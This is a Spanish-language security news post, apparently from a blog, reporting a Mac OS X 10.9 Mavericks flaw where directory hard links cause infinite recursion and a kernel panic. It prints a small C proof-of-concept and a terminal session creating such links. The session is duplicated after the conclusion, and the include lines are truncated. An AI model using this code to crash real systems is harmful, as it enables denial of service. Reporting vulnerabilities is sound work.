Es conocido que en la mayoría de los sistemas *NIX un enlace duro a un directorio está reservado para el usuario root, cuando se indica un path absoluto. En Mac OS X 10.6 existía una vulnerabilidad de este tipo, la cual se encuentra documentada en el siguiente CVE-2010-0105. La semana pasada ha sido descubierta una vulnerabilidad en Mac OS X 10.9 Mavericks, el cual provoca un kernel panic al intentar listar un enlace duro con recursividad infinita. Como se puede leer en la Wikipedia, para evitar la recursividad infinita, los sistemas operativos más modernos no permiten enlaces duros a directorios.Además, los enlaces duros en los directorios conducirían a la inconsistencia en las entradas del directorio padre. La excepción confirmada es Mac OS X 10.5 Leopard, el cual utiliza enlaces duros a directorios para el mecanismo de copia de seguridad Time Machine, solamente. Conocido esto, hay que decir que el investigador Maksymilian Arciemowicz ha descubierto que en Mac OS X 10.9 se puede crear un enlace a disco provocando recursividad infinita, con un sencillo código en C. El código lo exponemos a continuación.
#include
#include
void usage(const char* program)
{
const char* message = " [src_dir] [target_dir]";
fprintf(stderr, "%s%s\n", program, message);
}
int main(int argc, char* argv[]) {
if (argc!=3) {
usage(argv[0]);
return 1;
}
int ret = link(argv[1],argv[2]);
fprintf(stderr,"link(3) return= %d\n", ret);
return ret;
}
mac-cxs-XKochd XK$ gcc -o test test.c
mac-cxs-XKochd XK$ ls
test test.c
mac-cxs-XKochd XK$ mkdir DIR1
mac-cxs-XKochd XK$ ./test DIR1 Hardlink1
link(3) return= -1
mac-cxs-XKochd XK$ mkdir DIR1/DIR2
mac-cxs-XKochd XK$ ./test DIR1/DIR2 Hardlink2
link(3) return= 0
mac-cxs-XKochd XK$ cd DIR1
mac-cxs-XKIR1 XK$ mkdir DIR2/DIR3
mac-cxs-XKIR1 XK$ ../test DIR2/DIR3 Hardlink3
link(3) return= 0
mac-cxs-XKIR1 XK$ cd DIR2
mac-cxs-XKIR2 XK$ mkdir DIR3/DIR4
mac-cxs-XKIR2 XK$ ../../test DIR3/DIR4 Hardlink4
link(3) return= -1
Puede haber muchas consecuencias negativas que se obtienen del mal manejo del enlace duro. Se sabe que existe la vía de agotar los recursos del sistema a través de dicha vulnerabilidad, pudiendo causar bloqueos de aplicaciones, o como se produce con esta vulnerabilidad kernel panic. Habrá que esperar a una nueva actualización de OS X Mavericks. mac-cxs-XKochd XK$ ls
test test.c
mac-cxs-XKochd XK$ mkdir DIR1
mac-cxs-XKochd XK$ ./test DIR1 Hardlink1
link(3) return= -1
mac-cxs-XKochd XK$ mkdir DIR1/DIR2
mac-cxs-XKochd XK$ ./test DIR1/DIR2 Hardlink2
link(3) return= 0
mac-cxs-XKochd XK$ cd DIR1
mac-cxs-XKIR1 XK$ mkdir DIR2/DIR3
mac-cxs-XKIR1 XK$ ../test DIR2/DIR3 Hardlink3
link(3) return= 0
mac-cxs-XKIR1 XK$ cd DIR2
mac-cxs-XKIR2 XK$ mkdir DIR3/DIR4
mac-cxs-XKIR2 XK$ ../../test DIR3/DIR4 Hardlink4
link(3) return= -1
Publicado en Seguridad Apple - Google+ - RSS - Eleven Paths - El lado del mal
Continúar leyendo...